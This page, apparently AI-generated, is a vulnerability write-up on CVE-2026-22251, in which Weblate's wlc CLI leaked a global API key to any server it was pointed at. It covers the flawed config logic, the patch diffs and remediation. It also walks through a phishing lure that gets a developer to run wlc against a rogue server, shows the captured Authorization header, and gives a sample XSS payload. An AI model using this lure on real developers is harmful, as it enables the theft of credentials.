CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22251
5.30.01%

The Key to the Kingdom: Accidental API Exposure in Weblate's CLI

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 21, 2026·7 min read·5 visits

No Known Exploit

Executive Summary (TL;DR)

The Weblate CLI (wlc) < 1.17.0 sends your primary API key to *any* server you connect to if a specific key isn't defined for that URL. Connecting to a malicious server leaks your credentials.

A classic case of 'convenience over security' in the Weblate command-line client (wlc) resulted in a critical scoping vulnerability. Prior to version 1.17.0, the tool treated API keys as global citizens rather than scoped credentials. This meant that if a developer configured a default key for their corporate instance but then connected to a third-party or malicious Weblate server, the client would happily hand over the corporate keys in the HTTP Authorization header. It's a textbook credential leak scenario triggered by the client-side configuration logic.

The Hook: One Key to Rule Them All?

Developers love command-line interfaces (CLIs). We love them because they are fast, scriptable, and allow us to feel like hackers in 90s movies. But there is a dark side to CLI tools: configuration management. specifically, where and how we store the secrets that let us authenticate.

wlc is the official Python-based CLI for Weblate, a popular web-based translation tool. It allows you to push translations, pull changes, and manage projects without leaving your terminal. To do this, it needs an API key. Naturally, you shove this key into a config file (usually ~/.config/weblate or weblate.ini) so you don't have to type it every time.

Here is where the design philosophy went off the rails. In a sane world, an API key is strictly bound to a specific endpoint (Scope). My key for google.com should never be sent to bing.com. But wlc decided to be "helpful." It implemented a fallback mechanism where, if you defined a key in the general [weblate] section of your config, that key became the Universal Key. It didn't matter where you were connecting—corporate server, open-source project, or a sketchy IP address you found on a forum—wlc would grab that global key and attach it to the request header.

This is the digital equivalent of having a master key for your house, and when you check into a hotel, you hand the receptionist that master key instead of just showing ID.

The Flaw: Logic in the Danger Zone

The vulnerability wasn't a buffer overflow or a complex heap grooming exercise. It was a logical fallacy in wlc/config.py. The root cause lay in how the application parsed its configuration hierarchy.

The class WeblateConfig had a method responsible for fetching credentials: get_url_key(). Its job was simple: "I am connecting to URL X, give me the key for X."

However, the implementation prioritized convenience. It checked the general [weblate] section first (or as a fallback with equal weight). If a key existed there, the code essentially said, "Great, we have a key! Let's use it." It failed to validate if that key was actually intended for the target URL.

In older versions, the logic flow looked something like this:

  1. User runs wlc --url https://evil.com/api/ ...
  2. The code looks for a specific key for evil.com.
  3. Finding none, it checks the global [weblate] section.
  4. It finds key = SECRET_CORP_KEY.
  5. It sends Authorization: Token SECRET_CORP_KEY to https://evil.com/api/.

This behavior is catastrophic in an ecosystem where developers might work on multiple Weblate instances—one for work, one for open source, and one for personal projects. A single configuration mistake turns a simple connection attempt into a full credential compromise.

The Code: Diffing the Disaster

Let's look at the smoking gun. The fix was pushed in commit aafdb507a9e66574ade1f68c50c4fe75dbe80797 by Michal Čihař. The changes effectively nuke the global key concept.

The Vulnerable Logic (Conceptual)

The pre-patch logic allowed the configuration parser to blindly adopt the key from the defaults.

# pseudo-code of the vulnerable logic
section = 'weblate'
if self.config.has_option(section, 'key'):
    return self.config.get(section, 'key')
# If we are here, we might look for scoped keys, or we already returned the global one.

The Fix

The patch does two critical things. First, it removes the default key from the initialization, and second, it forces a scoped lookup.

# wlc/config.py (Post-patch)
 
 def get_url_key(self, url):
     """Return URL and key for given URL."""
     # ... (url normalization logic)
 
+    # Explicitly look in the [keys] section using the URL as the index
+    return self.get("keys", url, fallback="")

Furthermore, in wlc/main.py, they stopped polluting the global config object with CLI arguments. Instead of injecting command-line keys into the config (which might trigger the fallback logic), they stored them in separate attributes:

# wlc/main.py
 
- self.config.set_param(key, value)
+ # Store CLI args separately so they don't mix with config file logic
+ setattr(self, f"cli_{key}", value)

This ensures that wlc behaves deterministically: if you don't have a key explicitly defined for a specific URL, it should fail (or ask for one), not guess using your most sensitive secret.

The Exploit: Social Engineering the CLI

How do we weaponize this? We don't need to write shellcode; we just need to trick a developer. This falls under the "Social Engineering" side of exploitation, leveraging the user's trust in their tools.

The Setup

  1. The Attacker sets up a rogue Weblate instance (or just a simple Python HTTP server that logs headers) at https://weblate-community-patch.com.
  2. The Victim is a developer who has wlc configured with their company's API key in the [weblate] section of ~/.weblate.

The Lure

The attacker opens an issue on GitHub or sends a message: "Hey, can you help me debug a translation string? I've hosted it here: https://weblate-community-patch.com."

The Execution

The victim, trying to be helpful, runs the CLI tool against the new URL:

$ wlc --url https://weblate-community-patch.com show projects

The Capture

On the attacker's server logs:

GET /api/projects/ HTTP/1.1
Host: weblate-community-patch.com
User-Agent: wlc/1.16
Authorization: Token wlb-pzp6... (The Victim's Corporate Key)
Accept: application/json

Just like that, the attacker has a valid, scoped (or potentially admin) token for the victim's corporate environment. They didn't need to hack the corporation; they just asked the developer to knock on their door.

The Impact: Why Should You Care?

You might think, "It's just a translation tool key." But in modern DevOps, translation platforms like Weblate often sit in the critical path of the CI/CD pipeline. They have write access to source code repositories (to commit translations) or can trigger build webhooks.

An attacker with this key could:

  1. Inject Malicious Content: Modify translation strings to include XSS payloads (e.g., <script>alert(1)</script>) which will then be pulled into the main application and executed in the browsers of every user.
  2. Exfiltrate Intellectual Property: Download all source strings and upcoming feature text before they are released.
  3. Pivot: If the Weblate instance is integrated with GitHub/GitLab, the attacker might use the Weblate service account to commit code changes to the repo, escalating from a translation tool compromise to a full supply-chain attack.

This vulnerability (CWE-200) has a CVSS of 5.3 because it requires user interaction, but the impact of a stolen credential can be far higher depending on what that key unlocks.

The Fix: Remediation and Hygiene

The immediate fix is software-based, but the long-term fix is behavioral.

1. Update wlc: Ensure you are running version 1.17.0 or higher. This version enforces strict scoping.

2. Clean up your Config: Open your ~/.config/weblate or weblate.ini file. Look for this anti-pattern:

[weblate]
url = https://weblate.example.com
key = wlb-xxxx  <-- BAD! This is a global fallback.

Change it to the scoped format:

[keys]
https://weblate.example.com/api/ = wlb-xxxx
https://opensource.weblate.org/api/ = wlb-yyyy

3. Rotate your Keys: If you have ever used wlc < 1.17.0 to connect to a server you don't control 100%, treat your keys as compromised. Go to your Weblate user profile and regenerate your API tokens immediately.

Official Patches

WeblateOrgCommit fixing the unscoped key issue
WeblateOrgOfficial GitHub Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N
EPSS Probability
0.01%
Top 100% most exploited

Affected Systems

Weblate command-line client (wlc) < 1.17.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
wlc
WeblateOrg
< 1.17.01.17.0
AttributeDetail
CWE IDCWE-200
Attack VectorLocal / User Interaction
CVSS Score5.3 (Medium)
EPSS Score0.00005
ImpactCredential Leakage
Exploit StatusNo Known Public Exploit

MITRE ATT&CK Mapping

T1552.001Unsecured Credentials: Credentials In Files
Credential Access
T1204.002User Execution: Malicious File
Execution
T1566Phishing
Initial Access
CWE-200
Information Exposure

Exposure of Sensitive Information to an Unauthorized Actor

Vulnerability Timeline

Fix commit authored
2026-01-07
GHSA Advisory Published
2026-01-12
CVE Published
2026-01-12

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.